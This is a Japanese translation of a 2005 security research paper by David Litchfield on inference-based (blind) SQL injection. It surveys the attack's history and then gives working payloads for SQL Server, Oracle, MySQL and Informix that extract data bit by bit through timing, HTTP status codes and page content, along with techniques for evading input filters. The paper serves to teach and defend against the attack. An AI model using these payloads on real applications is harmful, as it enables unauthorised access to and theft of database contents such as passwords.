

SQLインジェクションと推測によるデータマイニング

David Litchfield [davidl@ngssoftware.com]

2005年9月30日



An NGSSoftware Insight Security Research (NISR) Publication
©2005 Next Generation Security Software Ltd
<http://www.ngssoftware.com>

要約

SQL インジェクション経由でデータ入手を試みる攻撃は、3つに分類できる。帯域内攻撃、帯域外攻撃、そして、比較的知られていない推測攻撃である。帯域内攻撃は、同じチャネル上でクライアントと Web サーバー間でデータの引き出しが行われる。たとえば、UNION SELECT を使って Web ページ内に結果が埋め込まれる。帯域外攻撃は、たとえば、データベースのメール関数や HTTP 関数を用いて、データ入手用に別の通信チャネルを使用する。推測攻撃は単独で動作し、実際のデータは転送させずに、アプリケーションの動作の様子から攻撃者がデータの値を推測する。この文書の主題が、この SQL 推測である。この文書は、2005 年 3 月の Blackhat Security Briefings in Europe でこのことについて話した際に書くことを約束した文書である。遅くなってしまったが、約束を果たすことはできた。

SQL インジェクションとは何か?

SQL インジェクション脆弱性は多層構造のアプリケーションに見られるセキュリティホール的一种で、攻撃者は、既存の SQL に追加の SQL を上乗せしてデータベースサーバーを騙し、任意の、権限のない、予期しない SQL クエリを実行させることができるものである。アプリケーションはふつう(必ずしもそうとは限らないが) Web サーバーであり、ユーザーからの入力を受け入れて、それを SQL クエリに埋め込む。そのクエリがアプリケーションのデータベースサーバーに送られて実行される。攻撃者は、特定の不正な形式のデータを入力することで SQL クエリを操作し、それを実行させて意図されたものとは異なる結果を得る。

この説明ではやや咀嚼しにくいかもしれないが、例を示せば簡単に飲み下せるだろう。オンライン書店を考えてみよう。この書店の Web サーバーで、ユーザーは著者名から書籍を探すことができる。この検索機能は、バックエンドのデータベースサーバーに、ユーザーが著者名として入力した名前を指定して書籍名一覧を問い合わせることにより実装されている。この検索機能には、たまたま SQL インジェクションの脆弱性がある。攻撃者は脆弱性を利用して、書籍一覧の代わりに、この書店を利用したことがある全ユーザーのユーザー名、パスワード、メールアドレス、クレジット番号を返すようにアプリケーションを騙すことができる。これは、ことさらに大きな物言いをしているわけではない。SQL インジェクション脆弱性に対して攻撃を仕掛けるのは容易である。

バッファオーバーフローといった問題とともに、SQL インジェクションはリスクの観点ではトップクラスである。私は最近このことについて、大手データベースソフトウェア会社と意見が一致した。彼らは、自らの提供する RDBMS 製品について、SQL インジェクションの問題をリスクが低い問題として位置づけ、バッファオーバーフローをより大きな問題としていた。私は、データベースサーバーのバッファオーバーフローを悪用するには、まずファイアウォールを通過しなければならないことを指摘した。それを容易に行えるのが SQL インジェクションである。つまり、ファイアウォールは、顧客が Web アプリケーションにアクセスできるようにするために、インターネットから Web サーバーへの帯域内での接続を許可せざるを得ず、アプリケーションに SQL インジェクションの脆弱性があれば、攻撃者はデータベースにアクセスしてバッファオーバーフロー脆弱性を悪用することができる。しかしここには、意外な結末が待っている。結局データベースの任意のデータにアクセスできるのであれば、攻撃者はバッファオーバーフロー脆弱性の悪用方法に頭を悩ませたりするだろうか? この議論以後、その大手データベースソフトウェア会社は SQL インジェクション脆弱性の位置づけを「更新」した。SQL インジェクションが当然払われるべき敬意をもって扱われるようになったのは喜ばしいことである。

患者数でいうと、データベースサーバーに接続している Web アプリケーションの 60%が SQL インジェクションの脆弱性を持っている。この統計は、2003 年および 2004 年に、クライアントに対してセキュリティ監査を行った際に脆弱性が発見された新しいアプリケーションの数に基づいている。この数字は恐ろしいほどに高い。

SQL インジェクションはベンダーに依存しない。アプリケーションが、Active/Java Server Pages、Cold Fusion Management、PHP、Perl のいずれであっても、また、Oracle、SQL Server、DB2、MySQL、Informix のいずれであっても、SQL インジェクションの脆弱性はありうる。もっとも、後述するとおり、中には、ほかに比べてリスクが高いものはある。

SQL インジェクション小史

1998年のクリスマスに、Phrack 54 が出版された。Phrack[1]は、「コミュニティによって書かれた、コミュニティのためのハッカーマガジン」である。セキュリティに関する卓越した技術情報源であり、特にこの第 54 版には、rfp (rain forest puppy)によって書かれた『NT Web Technology Vulnerabilities』と題する記事が掲載されている。この記事には、他のことも記述されているが、SQL インジェクションを用いた多数の攻撃について書かれている (SQL インジェクションという用語は用いられていない)。rfp は、IDC および Microsoft の Internet Information Server 上で動作し、SQL Server 6.5 にデータを流し込む ASP アプリケーションについて論じている。SQL インジェクションをはじめて公の場に暴きだしたのがこの記事である。当時は SQL インジェクションと呼ばれていなかったただけだ。後にそう呼ばれるようになる。次に注目すべきなのは、rfp の記事から 1 ヶ月少し遅れた 1999 年 2 月 4 日に、Allaire が公表したセキュリティ勧告[2]である。セキュリティ公報で、『Multiple SQL Statements in Dynamic Queries』として提起されたセキュリティの脅威が議論されている。

3 ヶ月後には、ふたたび rfp から、Matthew Astley との共著による別の興味深い覚え書きが出される。それは、『NT ODBC Remote Compromise』[3]と題された Access SQL クエリへの VBA コードインジェクションを論じた勧告で、ここでも「インジェクション」という用語は使われていない。Allaire の公報から 1 年後の 1 日前、2 月 3 日に、rfp は『How I hacked Packetstorm – A look at hacking wwwthreads via SQL』と題する勧告を投稿した。SQL インジェクションという用語はまだ表面に出てこないが、rfp はそのような脆弱性を悪用して主だった攻撃を行っている。Packetstorm は有用なドキュメント、エクスプロイトコード、スクリプトを多数持つハッカーサイトである。Perl アプリケーション wwwthreads の欠陥を悪用して、rfp は自分自身を管理者にすることでデータベースサーバーの制御を入手し、任意の SQL を注入することができた。その 7 ヶ月後の 9 月、私は Blackhat Europe で『Application Assessments on IIS』という対談を行い、その中で、「SQL インジェクション」を用いた ASP アプリケーション経由でのデータベースサーバーへの攻撃について論じた。Chip Andrews が 10 月 23 日、SQLSecurity.com [6]で『SQL Injection FAQ』を公表した後、私はその論文を公開した。私の知る限り、最初に「SQL インジェクション」という用語を使用した公的文書が Chip のものである。しかし、SANS [7]が週刊の公報で同じ頃にその用語を使用しており、どちらが最初か定かではない。2001 年 4 月、私はふたたび Blackhat で“ODBC エラーメッセージを利用した遠隔からの Web アプリケーションの分解”に関する論文を公表した[8]。この論文では、SQL インジェクションを利用してデータベースアプリケーションの正確な構造を解き明かすことのできる新たな手法をいくつか紹介している。次の大きな前進は、2002 年 1 月の Chris Anley による『Advanced SQL Injection in SQL Server Applications』と題する論文の公表である[9]。これは、SQL インジェクションについて深く掘り下げて論じた最初の論文である。その 2 日前、Kevin Spett は『SQL Injection - Are your web applications vulnerable?』を公表し[10]、6 月には Chris が、時間遅延からデータにアクセスする手法を紹介した『(more) Advanced SQL Injection』という微笑ましい題の卓越した論文を公表している[11]。しばらくの間、NGSSoftware の侵入テストチームは xp_cmdshell の“ping -n 10 127.0.0.1”を用いてスタアドプロシージャにアクセスできるかを判断していた (アプリケーションが約 10 秒間休止するならアクセスできる)。Chris はそれを拡張して、データを引き出すのに使用した。これが推測攻撃の最初の例である。2002 年 8 月、Cesar Cerrudo が『Manipulating Microsoft SQL Server Using SQL Injection』という論文を公表し[12]、論文とともに DataThief という openrowset 関数経由でデータを照会できるツールを提供した。2003 年 9 月の最初の週に、Ofer Maor と Amichai Shulman は論文『Blindfolded SQL injection』を公表し[13]、2003 年 9 月の終わりに、Sanctum は『Blind SQL Injection』で彼らの見解を公開した[14]。Blackhat 2004 で、0x90.org は SQueaL を公開した[15]。これは現在 Absinthe として知られているツールで、SQL インジェクション経由で自動的にデータを照会するのに使用できる。SQL インジェクションの進歩の歴史をかいつまんで紹介したが、これ以外にもさまざまな種類のデータベースサーバーと広範囲にわたるアプリケーション環境に対するインジェクション手法を論じた論文が多数公開されてきたことに留意しなければならない。まだ目を通していなければ、この節で取り上げた論文を読んでみることをお勧めしたい。

[1] <http://www.phrack.org/>

[2] http://www.macromedia.com/devnet/security/security_zone/asb99-04.html

[3] <http://www.securiteam.com/windowsntfocus/2AVQ5QAQKM.html>

[4] <http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0085.html>

[5] <http://www.blackhat.com/presentations/bh-europe-00/DavidLitchfield/David-bh-europe-00.ppt>

- [6] <http://www.sqlsecurity.com/>
- [7] <http://www.sans.org/>
- [8] <http://www.ngssoftware.com/papers/webappdis.doc>
- [9] http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
- [10] <http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf>
- [11] http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
- [12] http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf
- [13] http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
- [14] http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
- [15] <http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf>

SQL 推測によるデータマイニング

SQL インジェクション脆弱性を悪用してデータの入手を試みる方法は、帯域内、帯域外、推測の 3 つに分類される。帯域内の手法は攻撃者とアプリケーションの間の既存のチャネルを用いてデータを取り出す。たとえば、正常な Web ページ内にデータを表示させる手法とエラーメッセージに表示させる方法がある。帯域外の手法はクライアントとアプリケーションの間に新たにチャネルを開く。これにはふつう、電子メールや HTTP、あるいはデータベース接続など、別のネットワーク機能を用いてデータベースサーバーをクライアントに接続させる方法が含まれる。たとえば、SQL Server の OPENROWSET()関数や XP_SENDMAIL プロシージャ、Oracle の SYS.UTL_HTTP.REQUEST を用いる手法がある。推測攻撃では実際のデータは直接転送されないが、アプリケーションからの応答の違いを観察することで攻撃者がデータの値を推測することができる。「質問」に対する答えによって応答に違いが生じるようにすることで推測を行う。推測はビット単位で行われる(データマイニング(=データの採掘)と呼ぶにはあまりに遅いので、私はこれをデータチップング(=データの削り取り)と呼んでいる)か、または単刀直入に「パスワードは foobar ですか?」といった質問を投げかけることにより行われる。推測には時間、Web サーバーの返すステータスコード、攻撃者がデータの値を正しく推測できる内容の相違などの特性を利用する。

推測

推測攻撃の核心は、単純な質問である。この質問への答え A なら Y を行い、B なら Z を行う。推測に基づいた攻撃の最初の例は、Chris Anley の卓越した論文『(more) Advanced SQL Injection』に登場する。

http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

この論文の中で Chris は、Microsoft SQL Server が複数のクエリをバッチ処理することを利用して以下の Transact-SQL を注入している。

```
declare @s varchar(8000)
select @s = db_name()
if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
```

この Transact-SQL ブロックでは、データベース名の最初のバイトの最初のビットが 1 ならアプリケーションは休止して 5 秒後に応答を返す。そのビットが 0 なら、アプリケーションは即座に応答を返す。アプリケーションが応答にかかる時間を測定することによって、そのビットが 1 か 0 かを推測できる。SQL インジェクション経由でのデータ抽出に関する限り、これは大きな前進である帯域内攻撃、帯域外攻撃がすべてうまくいかない場合のデータ取得方法をはじめて提供してくれたのだ。しかし、この実装は SQL Server 上でしか動作しないし、時間遅延によっているために必然的に動作が遅くならざるをえない欠陥がある。Chris がこれを公表したのは 2002 年だが、それ以来、実質的に進歩はしていない。推測攻撃がどのような状況の SQL インジェクションでも使えることから、この状態を進展させることは価値のある研究針である。

CASE 文を使用すると、インラインで条件付きクエリを構築でき、サーバーが複数のクエリをバッチ処理できる必要もない。CASE 文はほとんどの RDBMS がサポートしている。

```
SELECT CASE WHEN condition THEN do_one_thing ELSE do_another END
```

たとえば *condition* が、データの与えられたバイトの最初のビットが 1 の時 5 秒間休止し、そうでなければそのまま返るものだとする。しかし、なぜ時間遅延使って自らの動作を遅くしているのだろうか？ *do_one_thing* で何を行い、*do_another* で何を行うか、その選択は完全に自由だ。1 なら正常値を返し、0 ならエラーを発生させてもよい。その場合、Web サーバーはビットが 1 なら 200 OK の応答を、0 なら 500 Internal Server エラーを生成するだろう。ビットが 1 なら、たとえば“success”という文字列を、0 なら“failed”という文字列を返すようにしてもよい。都合のよいことには、もし本当に必要であれば、ビットが 1 ならモデムが故障したので電話が欲しいというメールを、0 ならモニタが故障したので電話が欲しいというメールを、データベースサーバーから技術サポートに送信させることだってできる。数時間後に電話がかかってきて、オペレータがモデムの故障に関する電話だと言え、ビットは 1 だったと推測できる。もちろんこれはばかげた話だが、この例はわれわれが推測攻撃に関するイメージに制約されているだけだということを示している。では、実用的な例に集中してみよう。

Web サーバーステータスの応答コードからの推測

アプリケーション定義クエリ (Application Defined Query: ADQ) にあるクエリを注入することで、Web サーバーにデータの値に応じた応答コードを生成させることができる。たとえば、データのバイトのあるビットが 1 なら 200 を返し、0 なら 500 を返す。ここで用いたトリックは、コンパイル時にはエラーにならず、条件分岐が行われるとエラーになる SQL を使用することである。ほとんどのデータベースで動作すると思われる方法は、0 で除算した時に生じるエラーだ。ただし、MySQL ではビクともしないのでもうまいかない。ほかの、Microsoft SQL Server、Oracle、DB2 のようなデータベースではうまくコンパイルできる。Informix は妙な振る舞いをする。0 での除算でエラーになるが、ドライバがそれを反映させないので 200 を返してしまう。ほかのデータベースドライバはエラーを生成するので、以下のクエリに対して 500 を返す。

```
SELECT CASE WHEN condition THEN 1 ELSE 1/0 END
```

これは、*condition* を満たさない場合にのみエラーとなり、その他の場合クエリは 1 を返す。

この手法は SQL Server、Oracle、DB2 ではきわめてうまく動作するが、MySQL または Informix ではそれほどうまくいかない。アプリケーションの環境によっては、エラーの応答コードは 500 ではないかもしれない。たとえば、Oracle Application Server の比較的最近のバージョンで PL/SQL の場合、応答コードは 404 (File Not Found) である。

これについて話を進める前に、条件文を置く位置について検討する必要がある。明らかに、アプリケーションとそれがどこに脆弱性を含むかによってある程度制約されるものの、かなり自由度は高い。たとえば、アプリケーションが以下の ADQ を実行するとしよう。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = '$USERINPUT' AND PRICE < 10
```

--を使って SQL を終了させ、“AND PRICE < 10”の部分を除外させることができるだろう。

```
http://www.example.com/page.ext?author=foo' + case_query --
```

しかし、実際には ADQ がもっと複雑で、括弧の迷宮のようだとしたらどうだろうか？ もし、自動化したツールで動作するような一般的な手段を探しているのなら、これは問題になるだろう。新しいアプリケーションごとにたっぷり時間をかけて、うまく動作させるようにしなければならないだろう。パラメータを分割し、帳尻を合わせられる、ずっと信頼性の高い方法があるだろう。

パラメータの分割と均衡

以下のような、Microsoft SQL Server のクエリを考えてみる。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' + 'B' + 'CCC'
```

このクエリに手を加え、'B'をサブクエリの SELECT に変更できなくはない。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' + (SELECT 'B') + 'CCC'
```

この2つのクエリは同等である。さらに、以下のように変更できるだろう。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' +  
      (SELECT SUBSTRING('B',1,1)) + 'CCC'
```

このクエリも最初の2つのクエリと同等である。そして、以下のクエリも同じだ。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' +  
      (SELECT SUBSTRING('XYZB',4,1)) + 'CCC'
```

これで何を言いたいかわかったことだろう。サブクエリがあってパラメータが分割されていても、同じ一連のレコード (“AAABCCCC”という著者による全書籍の題名)が返されるのだ。この法則を利用すると、どんなアプリケーションでも動作する一般的なインジェクションの方法が得られる。ADQ が、渡したパラメータを関数内に配置したとしても、

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = UPPER('$USERINPUT')
```

パラメータを分割し、均衡を保てば(つまり、括弧や引用符などのつじつまを合わせれば)うまく動作することが保証される。数値データについても同じことが言える。以下のクエリはすべて同等である。

```
SELECT NAME FROM BOOKS WHERE PAGES = 221  
SELECT NAME FROM BOOKS WHERE PAGES = 221 + 1 - 1  
SELECT NAME FROM BOOKS WHERE PAGES = 221 + (select 1) - 1  
SELECT NAME FROM BOOKS WHERE PAGES = 221 + 0  
SELECT NAME FROM BOOKS WHERE PAGES = 221 + (select ascii('A') - 65)
```

入力パラメータを分割して均衡を保てば、クエリは問題なく動作することが保証される。この手法はすべてのデータベースについて適用できる。

コンテンツ操作による推測攻撃

応答コードの操作には大きな問題がある。Web サーバーのエラーログに 200 でない応答が大量に残り、優秀な Web サーバー管理者は必ずログを読む(いや、そうあるべきだ!!!)ので、不適切なことが起きているとすぐに気づくだろう。これは、コンテンツ操作による推測攻撃で回避できる。コンテンツ操作ではサーバーの応答コードは一定値で、変わるのは Web ページの内容である。著者名で書籍を探せるオンライン書店の例に戻ろう。“DICKENS”という著者名を入力したら、Web ページ内に“A Christmas Carol”と表示されたとする。もし著者名に“DICKENS”と入力したら、“A Christmas Carol”という応答は得られない。パラメータの分割と均衡を利用して、バイトの指定したビットが 1 ならアプリケーションに“DICKENS”の書籍を検索させ、ビットが 0 なら“DICKENS”を検索させることができる。こうすることにより、Web ページの内容に“A Christmas Carol”という文字列が含まれていればビットは 1、見つからなければビットは 0 であると推測できる。

例

私はこの章で、意図的に SQL 中にいくつかの文字を使わないようにしてきた。というもあるアプリケーション環境ではその文字が台無しにされてしまうからである。この件に関する詳細は、付録 A を参照のこと。

さまざまなデータベースでの CASE 文

さまざまなデータベースで、上述の「危険な」文字を回避した CASE 文を見てみよう。この文は、入力したパラメータを分割し、均衡を保つために使用するサブクエリとなる。以下の ADQ がインジェクションに利用できるとしよう。

```
SELECT TITLES FROM BOOKS WHERE AUTHOR=' $USERINPUT'
```

通常の Web リクエストは以下になるだろう。

<http://www.example.com/search?author=DICKENS>

先頭には、たとえば“A Christmas Carol”という題名が返されるとしよう。バックエンドが Microsoft SQL Server であれば、パラメータの分割と均衡から以下ようになる。

[http://www.example.com/search?author=DICKE' + \(select case when
ascii\(substring\(\(select @@version\),1,1\)\)^1
between 0 and ascii\(substring\(\(select @@version\),1,1\)\) then char\(78\) else char\(88\) end\) + 'S](http://www.example.com/search?author=DICKE' + (select case when ascii(substring((select @@version),1,1))^1 between 0 and ascii(substring((select @@version),1,1)) then char(78) else char(88) end) + 'S)

ここで思い出しておきたいのは、あるビットがセットされているかどうかは次のように調べられることだ。もし、`byte^bit_position` が `byte` より小さければビットはセットされており、そうでなければビットはセットされていない。したがってここでは、クエリ `select @@version` の最初のバイトを 1 と XOR した時、その値が 0 からそのバイト自身の間かどうかを調べている。もしそうなら、このクエリは結局、文字“N”を意味する `char(78)` を返す。ビットがセットされていないならば、クエリは結局、文字“X”を意味する `char(88)` を返す。このように ADQ に組み入れると、最初のビットがセットされていれば著者が“DICKENS”の書籍を検索し、セットされていないならば“DICKENS”の書籍を検索する。返された内容にテキスト“A Christmas Carol”があるかどうか調べることで、ビットがセットされているかどうかを推測できる。

そして、1 から、2、4、8、16、32、64、128 と移っていくことで、最初のバイトのすべてのビットを調べることができる。そして、`substring` 関数のオフセット値を増やして“`select @@version`”から返されるデータの次のバイトで処理を繰り返す。

[http://www.example.com/search?author=DICKE' + \(select case when
ascii\(substring\(\(select @@version\),2,1\)\)^1
between 0 and ascii\(substring\(\(select @@version\),2,1\)\) then char\(78\) else char\(88\) end\) + 'S](http://www.example.com/search?author=DICKE' + (select case when ascii(substring((select @@version),2,1))^1 between 0 and ascii(substring((select @@version),2,1)) then char(78) else char(88) end) + 'S)

8 ビットともセットされていないバイトに来るまで、各バイトについてこれを繰り返す。これが NULL ターミネータ、つまりデータの終わりの役割を果たしている。言うまでもなく、`select @@version` は単一の値を返すものであれば任意のクエリに置き換えることができる。

Oracle ではやや異なる。文字列データの場合、CASE クエリは以下ようになる。

```
'|| (select case when  
bitand(ascii(substr((sub-query),the_byte,1)), the_bit)  
between 1 and 255 then chr(78) else chr(88) end from dual) ||'
```

ここで、`bitand()`関数を使っていることに注意する。パラメータが数値の場合は以下が使える。

```
+ (select case when  
bitand(ascii(substr((sub-query),the_byte,1)), the_bit) between 1 and 255 then 0 else 1 end  
from dual)
```

MySQL では、数値の場合に注入するクエリは以下になる。

```
+ (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and  
ascii(substring((sub-query),the_byte,1)) then 0 else 1 end
```

文字列パラメータの場合は

```
' + (select case when (ascii(substr((sub-query),the_byte,1))^the_bit) between 0 and  
ascii(substr((sub-query),the_byte,1)) then 0 else 1 end) + '
```

である。

もっとも厄介なのは Informix である。char 関数も chr 関数も存在しないので、自前で持ち歩かなければならない。

```
' || (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((subquery),  
the_byte,1)) from  
sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,".",44,  
"-",45,".",46,"/",47,".",32,".",58,".",59,".",95,"¥¥",92,".",46,"?",63,"-  
",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",6  
7,"D",68,"E",69,"F",70,"G",71,"H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81  
",82,"R",83,"S",84,"T",85,"U",86,"V",87,"W",88,"X",89,"Y",90,"a",97,"b",98,"c",99,"d",100,"e",10  
1,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p",112,"q",113,"r",  
114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from  
sysmaster:informix.systables),the_bit) between 1 and 255 then 'N' else 'X' end from  
sysmaster:informix.systables) ||'
```

結論

推測攻撃は、アプリケーションが SQL インジェクション脆弱性を持つ限り、アプリケーション環境や、アプリケーションに定義されているクエリによらず、データ入手を試みる手段として使用できる。そのため、推測攻撃はとても強力で危険な手法となっている。いつものとおり、最良の防御は、まずはアプリケーションの脆弱性をなくすことだ。

付録 A: 特定の文字を回避する

しばしば、SQL インジェクション攻撃を防ごうとする際、ある文字列が存在すると入力を拒否するアプリケーションが多数ある。たとえば、入力値にスペースが存在すると拒否されるかもしれない。またある時には、ある文字が変換されるかもしれない。たとえば、不等号>と<をそれぞれ>と<に変換して、クライアントのクロスサイトスクリプティング攻撃を軽減させているかもしれない。ColdFusionはこの処理を行っており、それ以外に&を&に、二重引用符(")を"に変換する。入力した SQL にこのような文字が現れると、変換されてクエリは失敗する。ColdFusion と PHP はたいいてい、引用符(")を二重化することが知られている。

引用符を回避する

Microsoft SQL Server に対して実行しようとしているクエリが以下のようなものだとする。

```
SELECT NAME, ID FROM SYSOBJECTS WHERE NAME = 'sysobjects'
```

しかし、引用符が除去されたり、二重化されてしまうためうまくいかない。この問題は、SQL Serverの場合'sysobjects'を以下のよう置き換えることで解決できる。

```
SELECT NAME, ID FROM SYSOBJECTS WHERE NAME =  
0x7300790073006F0062006A006500630074
```

0x7300790073006F0062006A006500630074 は、Unicode 文字列"sysobjects"の 16 進表記である。

MySQL でも同じ結果が得られる。'root'の代わりに 0x726F6F74 を使用できる。

```
SELECT USER FROM USER WHERE USER = 0x726F6F74
```

もちろん、この違いは SQL Server が UNICODE を使っているのに対し、MySQL がそうではない点だ。

CHAR/CHR 形式の関数をサポートするデータベースでは、これを使うこともできる。Oracle を考えてみよう。

```
SELECT PASSWORD FROM DBA_USERS WHERE USERNAME =  
CHR(83) || CHR(89) || CHR(83)
```

CHR(83) || CHR(89) || CHR(83) は SYS と同じである。Informix は CHAR/CHR 関数をサポートしていない。

スペースを回避する

アプリケーションが SQL インジェクション脆弱性を持つものの、入力値にスペースが許可していない場合には、さまざまな方法でこの問題を解消できる。もちろん、タブ、改行、制御文字つまり、一般的な空白文字も許可されていない場合には、コメント区切り文字/* ... */を使って回避できる。

```
SELECT /*ABC*/COL1 /*PQR*/FROM /*XYZ*/TABLE
```

これはほとんどのデータベースで動作する。

オブジェクト区切り文字を使う方法もある。たとえば、Microsoft の SQL Server では以下のクエリで動作する。

```
SELECT [NAME] FROM [SYSOBJECTS] WHERE [NAME] = 'sysobjects'
```

同じ原理で、Oracle では以下のクエリが正しく動作する。

```
SELECT "USERNAME" FROM "SYS"."DBA_USERS" WHERE "USERNAME" = 'SYS'
```

MySQL では以下のクエリで動作する。

```
SELECT (USER) FROM (USER) WHERE (USER) = 'root'
```

不等号を回避する

不等号は問題を起こす場合があるので、WHERE 節の中で不等号を使った比較を行っているクエリは書き換える必要がある。以下のようにするのではなく、

```
SELECT COL1 FROM TABLE WHERE ID > 10
```

以下のようにする。

```
SELECT COL FROM TABLE WHERE ID BETWEEN 10 AND nnn
```

ただし、“*nnn*”は上限値である。10 より小さい、という条件が必要であれば、以下のクエリに置き換えればうまく動作する。

```
SELECT COL FROM TABLE WHERE ID BETWEEN 0 AND 10
```

&を回避する

Microsoft SQL Server と MySQL は、ビット演算の AND に & を使用する。ビット操作が必要な場合は、適切な代用品を見つけ出す。たとえば、指定されたバイトの下から 2 ビット目を調べたいとしよう。それは以下のように書ける。

もし、`THE_BYTE & 2 > 0` ならビットはセットされている。セットされていなければ結果は 0 となる。

しかし、`&`の使用が許可されない場合は XOR 演算子`^`を使用できるかもしれない。

もし、`THE_BYTE ^ 2 < THE_BYTE` ならビットはセットされている。そうでなければ結果は大きくなる。

等号を回避する

等号を回避することが必要な場合もある。以下のようなクエリの場合、

```
SELECT COL FROM TABLE WHERE XYZ = 333
```

以下のように置き換えられる。

```
SELECT COL FROM TABLE WHERE XYZ BETWEEN 332 AND 334
```

文字列データの場合は、等号は `LIKE` を使って置き換えられる。